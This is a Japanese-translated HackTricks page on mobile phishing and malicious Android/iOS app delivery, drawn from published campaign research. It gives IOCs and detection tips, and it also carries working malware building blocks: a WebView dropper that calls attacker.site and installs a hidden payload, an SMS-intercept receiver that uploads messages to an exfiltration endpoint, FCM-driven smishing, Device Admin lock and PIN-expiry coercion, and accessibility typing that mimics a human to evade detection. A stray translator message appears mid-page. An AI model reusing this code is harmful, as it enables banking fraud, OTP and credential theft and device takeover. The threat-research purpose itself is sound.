モバむルフィッシング & マルりェア的アプリ配垃 (Android & iOS)

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

[!INFO] このペヌゞは、フィッシングSEO、゜ヌシャル゚ンゞニアリング、停ストア、出䌚い系アプリ等を通じお malicious Android APKs ず iOS mobile-configuration profiles を配垃するために脅嚁アクタヌが䜿う手法を扱いたす。 資料は Zimperium zLabs2025が暎露した SarangTrap キャンペヌンやその他の公開研究を元に適応しおいたす。

攻撃フロヌ

  1. SEO/Phishing むンフラ
  • 倚数の類䌌ドメむン出䌚い系、クラりド共有、カヌサヌビスなどを登録。 – <title> 芁玠に珟地蚀語のキヌワヌドや絵文字を䜿っお Google でのランクを狙う。 – Android.apkず iOS のむンストヌル手順の䞡方を同䞀ランディングペヌゞにホストする。
  1. ファヌストステヌゞダりンロヌド
  • Android: unsigned たたは “third-party store” の APK ぞの盎接リンク。
  • iOS: itms-services:// たたは plain HTTPS リンクで悪意ある mobileconfig プロファむルぞ䞋参照。
  1. むンストヌル埌の゜ヌシャル゚ンゞニアリング
  • 初回起動時にアプリは invitation / verification code を芁求限定アクセスの錯芚を䞎える。
  • コヌドは HTTP で POST されお Command-and-Control (C2) に送信される。
  • C2 が {"success":true} を返す ➜ マルりェア動䜜が進行。
  • 有効なコヌドを送らないサンドボックス/AV の動的解析は 悪意ある挙動を怜出しない回避。
  1. 実行時の暩限悪甚 (Android)
  • 危険な permission は C2 の肯定応答埌 にのみ芁求される:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
  • 最近のバリアントは AndroidManifest.xml から SMS 甚の <uses-permission> を 削陀 するが、Java/Kotlin のコヌド経路はリフレクションで SMS を読む凊理を残しおいる ⇒ 静的スコアを䞋げ぀぀、AppOps の悪甚や叀いタヌゲットでは䟝然機胜する。
  1. フサヌド UI ずバックグラりンド収集
  • アプリはロヌカルに実装された無害なビュヌSMS ビュヌア、ギャラリヌピッカヌを衚瀺する。
  • 同時に以䞋を送信する:
  • IMEI / IMSI、電話番号
  • ContactsContract のフルダンプJSON 配列
  • /sdcard/DCIM からの JPEG/PNG を Luban で圧瞮しおサむズ削枛
  • オプションで SMS 内容content://sms ペむロヌドは バッチで zip 圧瞮 され HTTP POST /upload.php 経由で送信される。
  1. iOS 配垃手法
  • 単䞀の mobile-configuration profile が PayloadType=com.apple.sharedlicenses、com.apple.managedConfiguration 等を芁求しお、デバむスを MDM ラむクな監芖状態に登録できる。
  • ゜ヌシャル゚ンゞニアリング手順䟋:
  1. Settings を開く ➜ Profile downloaded。
  2. ペヌゞ䞊のスクリヌンショット通りに Install を3回タップ。
  3. 眲名されおいないプロファむルを信頌 ➜ 攻撃者は App Store レビュヌなしに Contacts ず Photo の暩限を埗る。
  4. ネットワヌク局
  • 平文 HTTP、しばしばポヌト80、HOST ヘッダは api.<phishingdomain>.com のようなもの。
  • User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)TLS がないため怜出しやすい。

Red-Team 向けヒント

  • Dynamic Analysis Bypass – マルりェア評䟡時に Frida/Objection で invitation code フェヌズを自動化しお悪意ある分岐に到達する。
  • Manifest vs. Runtime Diff – aapt dump permissions ず実行時の PackageManager#getRequestedPermissions() を比范危険な暩限が欠けおいるのはレッドフラッグ。
  • Network Canary – iptables -p tcp --dport 80 -j NFQUEUE を蚭定しお、コヌド入力埌の䞍自然な POST バヌストを怜出する。
  • mobileconfig Inspection – macOS で security cms -D -i profile.mobileconfig を䜿い PayloadContent を䞀芧化しお過剰な暩限を怜出する。

䟿利な Frida スニペット: 招埅コヌド自動バむパス

Frida: auto-bypass invitation code ```javascript // frida -U -f com.badapp.android -l bypass.js --no-pause // Hook HttpURLConnection write to always return success Java.perform(function() { var URL = Java.use('java.net.URL'); URL.openConnection.implementation = function() { var conn = this.openConnection(); var HttpURLConnection = Java.use('java.net.HttpURLConnection'); if (Java.cast(conn, HttpURLConnection)) { conn.getResponseCode.implementation = function(){ return 200; }; conn.getInputStream.implementation = function(){ return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes()); }; } return conn; }; }); ```

むンゞケヌタヌ䞀般

/req/checkCode.php        # invite code validation
/upload.php               # batched ZIP exfiltration
LubanCompress 1.1.8       # "Luban" string inside classes.dex

Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.

Delivery chain across trusted platforms

  • YouTube video lure → description contains a short link
  • Shortlink → GitHub Pages phishing site imitating the legit portal
  • Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
  • Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)

Dropper with embedded payload and offline install

  • First APK is an installer (dropper) that ships the real malware at assets/app.apk and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
  • The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.

Static triage tip (grep for embedded payloads):

unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head

shortlink経由の動的゚ンドポむント怜出

  • Malwareはshortlinkからプレヌンテキストのカンマ区切りの皌働䞭゚ンドポむント䞀芧を取埗し、単玔な文字列倉換で最終的なphishingペヌゞのパスを生成する。

䟋サニタむズ枈み

GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload:           https://sqcepo.replit.app/addsm.php

擬䌌コヌド:

String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");

WebViewベヌスの UPI credential harvesting

  • 「Make payment of ₹1 / UPI‑Lite」ステップは、動的゚ンドポむントから攻撃者の HTML フォヌムを WebView 内に読み蟌み、機密フィヌルド電話番号、銀行、UPI PINを取埗しお addup.php に POST したす。

最小ロヌダヌ:

WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm

Self-propagation ず SMS/OTP 傍受

  • 初回実行時に過剰な暩限を芁求する:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
  • 連絡先をルヌプ凊理しお、被害者のデバむスからsmishing SMSを䞀斉送信する。
  • 着信SMSはbroadcast receiverによっお傍受され、metadatasender、body、SIM slot、per-device random IDずずもに/addsm.phpにアップロヌドされる。

Receiver スケッチ:

public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}

Firebase Cloud Messaging (FCM) を耐障害性のある C2 ずしお

  • payload は FCM に登録され、プッシュメッセヌゞは _type フィヌルドを持ち、スむッチずしお動䜜をトリガヌしたす䟋: phishing テキストテンプレヌトの曎新、振る舞いの切り替え。

䟋: FCM payload:

{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}

ハンドラヌの抂芁:

@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}

むンゞケヌタヌ/IOCs

  • APK は副次ペむロヌドを assets/app.apk に含む
  • WebView は gate.htm から支払いを読み蟌み、/addup.php に倖郚送信する
  • SMS を /addsm.php ぞ倖郚送信
  • ショヌトリンク駆動の蚭定取埗䟋: rebrand.ly/*で CSV ゚ンドポむントを返す
  • 䞀般的な「Update/Secure Update」ずラベル付けされたアプリ
  • 信頌できないアプリで _type 刀別子を持぀ FCM data メッセヌゞ

Socket.IO/WebSocket ベヌスの APK すり抜け + 停の Google Play ペヌゞ

攻撃者は静的な APK リンクを、Google Play 颚の誘導ペヌゞに埋め蟌たれた Socket.IO/WebSocket チャンネルで眮き換えるこずが増えおいたす。これによりペむロヌド URL が隠蔜され、URL/拡匵子フィルタヌを回避し、珟実的なむンストヌル UX を維持したす。

実際に芳察された兞型的なクラむアントフロヌ:

Socket.IO 停 Play ダりンロヌダヌ (JavaScript) ```javascript // Open Socket.IO channel and request payload const socket = io("wss:///ws", { transports: ["websocket"] }); socket.emit("startDownload", { app: "com.example.app" });

// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

なぜ簡単な制埡を回避するのか:
- 静的な APK URL は公開されない; payload は WebSocket frames からメモリ䞊で再構築される。
- 盎接の .apk レスポンスをブロックする URL/MIME/拡匵子フィルタは、WebSockets/Socket.IO を経由しおトンネリングされたバむナリデヌタを芋逃す可胜性がある。
- WebSockets を実行しないクロヌラや URL サンドボックスは payload を取埗できない。

参照: WebSocket tradecraft and tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn のケヌススタディ

RatOn banker/RAT campaign (ThreatFabric) は、珟代のモバむル phishing オペレヌションが WebView droppers、Accessibility-driven UI automation、overlays/ransom、Device Admin coercion、Automated Transfer System (ATS)、crypto wallet takeover、さらには NFC-relay orchestration を組み合わせる具䜓䟋である。本節では再利甚可胜な手法を抜象化する。

### Stage-1: WebView → native install bridge (dropper)
攻撃者は攻撃者ペヌゞを指す WebView を衚瀺し、native installer を公開する JavaScript むンタヌフェむスを泚入する。HTML button をタップするず native code が呌ばれ、dropper の assets にバンドルされた second-stage APK をむンストヌルしお盎接起動する。

Minimal pattern:

<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

翻蚳する察象のファむル内容が提瀺されおいたせん。src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md の該圓郚分Markdown/HTMLを貌り付けおください。タグやリンク、コヌドは翻蚳せずそのたた残したす。

<button onclick="bridge.installApk()">Install</button>

むンストヌル埌、dropper は明瀺的な package/activity 経由で payload を起動したす:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: untrusted apps calling addJavascriptInterface() and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under assets/ and invoking the Package Installer Session API.

Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.

  • Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
  • Overlay permission check/request:
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

参照:

Accessibility Services Abuse

WebView を䜿った Overlay phishing/ransom

オペレヌタヌは以䞋のコマンドを発行できる:

  • URL からフルスクリヌンのオヌバヌレむを衚瀺する、たたは
  • むンラむンHTMLを枡しお WebView のオヌバヌレむに読み蟌たせる。

想定される甚途: 匷芁PIN入力、りォレットを開かせおPINを取埗する、身代金メッセヌゞ送信。オヌバヌレむ暩限がない堎合に付䞎を確認するコマンドを甚意しおおくこず。

Remote control model – テキスト擬䌌スクリヌン + screen-cast

  • Low-bandwidth: 定期的に Accessibility ノヌドツリヌをダンプし、衚瀺されおいるテキスト/roles/bounds をシリアラむズしお疑䌌スクリヌンずしお C2 に送信する䟋: 䞀床だけの txt_screen、継続的な screen_live。
  • High-fidelity: MediaProjection を芁求し、必芁に応じお screen-casting/recording を開始する䟋: display / record。

ATS playbook (bank app automation)

JSON タスクを受け取り、銀行アプリを起動し、Accessibility を䜿っおテキスト怜玢や座暙タップを組み合わせお UI を操䜜し、芁求されたら被害者の支払いPINを入力する。

䟋のタスク:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

あるタヌゲットフロヌで芋られた䟋文 (CZ → EN):

  • “Nová platba” → “新しい支払い”
  • “Zadat platbu” → “支払いを入力”
  • “NovÜ příjemce” → “新しい受取人”
  • “Domácí číslo účtu” → “囜内口座番号”
  • “Další” → “次ぞ”
  • “Odeslat” → “送信”
  • “Ano, pokračovat” → “はい、続行”
  • “Zaplatit” → “支払う”
  • “Hotovo” → “完了”

Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.

Crypto wallet seed extraction

察象䟋: MetaMask、Trust Wallet、Blockchain.com、Phantom。
フロヌ: アンロック盗たれた PIN たたは提䟛されたパスワヌド、Security/Recovery に移動、シヌドフレヌズを衚瀺、keylog/exfiltrate it。EN/RU/CZ/SK を考慮したロケヌル察応セレクタを実装し、蚀語間でのナビゲヌションを安定させる。

Device Admin coercion

Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:

  • Immediate lock:
dpm.lockNow();
  • 珟圚の認蚌情報を期限切れにしお倉曎を匷制する (Accessibility が新しい PIN/パスワヌドを取埗する):
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
  • keyguard の生䜓認蚌機胜を無効化しお生䜓認蚌以倖でのロック解陀を匷制する:
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

泚意: 最近の Android では倚くの DevicePolicyManager コントロヌルが Device Owner/Profile Owner を必芁ずする; 䞀郚の OEM ビルドは緩い堎合がある。タヌゲットの OS/OEM 䞊で必ず怜蚌するこず。

NFC relay orchestration (NFSkate)

Stage-3 は倖郚の NFC-relay モゞュヌル䟋: NFSkateをむンストヌル・起動し、䞭継䞭に被害者を誘導するための HTML テンプレヌトを枡すこずさえ可胜。これにより、オンラむン ATS ず䞊行した非接觊カヌドプレれントのキャッシュアりトが可胜になる。

Background: NFSkate NFC relay.

Operator command set (sample)

  • UI/state: txt_screen, screen_live, display, record
  • Social: send_push, Facebook, WhatsApp
  • Overlays: overlay (むンラむン HTML), block (URL), block_off, access_tint
  • Wallets: metamask, trust, blockchain, phantom
  • ATS: transfer, check_limit, limit
  • Device: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
  • Comms/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
  • NFC: nfs, nfs_inject

Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)

脅嚁アクタヌはたすたす Accessibility 駆動の自動化ず、基本的な行動バむオメトリクスに察する怜知回避を組み合わせおいる。最近の banker/RAT は、盞補的な2぀のテキスト配信モヌドず、ランダム化されたケむデンスで人間のタむピングを暡倣するためのオペレヌタトグルを備えおいる。

  • Discovery mode: 操䜜前にセレクタず bounds で可芖ノヌドを列挙し、入力を正確にタヌゲットするID、text、contentDescription、hint、bounds。
  • Dual text injection:
  • Mode 1 – ACTION_SET_TEXT を盎接タヌゲットノヌドに適甚安定、キヌボヌド䞍芁
  • Mode 2 – クリップボヌド蚭定 + ACTION_PASTE をフォヌカスされたノヌドに実行盎接 setText がブロックされる堎合に有効
  • Human-like cadence: オペレヌタが提䟛した文字列を分割し、むベント間でランダム化された300–3000 ms の遅延を挟んで1文字ず぀送信し、「machine-speed typing」ヒュヌリスティクスを回避する。実装は ACTION_SET_TEXT で倀を段階的に増加させる方法、たたは1文字ず぀貌り付ける方法のいずれか。
Java スケッチ: ノヌド怜出 + setText たたは clipboard+paste を䜿った文字毎の遅延入力 ```java // Enumerate nodes (HVNCA11Y-like): text, id, desc, hint, bounds void discover(AccessibilityNodeInfo r, List out){ if (r==null) return; Rect b=new Rect(); r.getBoundsInScreen(b); CharSequence id=r.getViewIdResourceName(), txt=r.getText(), cd=r.getContentDescription(); out.add(String.format("cls=%s id=%s txt=%s desc=%s b=%s", r.getClassName(), id, txt, cd, b.toShortString())); for(int i=0;i

// Mode 1: progressively set text with randomized 300–3000 ms delays void sendTextSetText(AccessibilityNodeInfo field, String s) throws InterruptedException{ String cur = “”; for (char c: s.toCharArray()){ cur += c; Bundle b=new Bundle(); b.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, cur); field.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, b); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }

// Mode 2: clipboard + paste per-char with randomized delays void sendTextPaste(AccessibilityService svc, AccessibilityNodeInfo field, String s) throws InterruptedException{ field.performAction(AccessibilityNodeInfo.ACTION_FOCUS); ClipboardManager cm=(ClipboardManager) svc.getSystemService(Context.CLIPBOARD_SERVICE); for (char c: s.toCharArray()){ cm.setPrimaryClip(ClipData.newPlainText(“x”, Character.toString(c))); field.performAction(AccessibilityNodeInfo.ACTION_PASTE); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }

</details>

詐欺を隠すためのブロッキングオヌバヌレむ
- オペレヌタが制埡する䞍透明床でフルスクリヌンの `TYPE_ACCESSIBILITY_OVERLAY` をレンダリングする。リモヌト自動化が背埌で進行しおいる間、被害者には䞍透明なたたにしおおく。
- 䞀般的に公開されるコマンド: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

アルファを調敎可胜な最小限のオヌバヌレむ
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);

オペレヌタ制埡プリミティブによく芋られるもの: BACK, HOME, RECENTS, CLICKTXT/CLICKDESC/CLICKELEMENT/CLICKHINT, TAP/SWIPE, NOTIFICATIONS, OPNPKG, VNC/VNCA11Yスクリヌン共有。

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする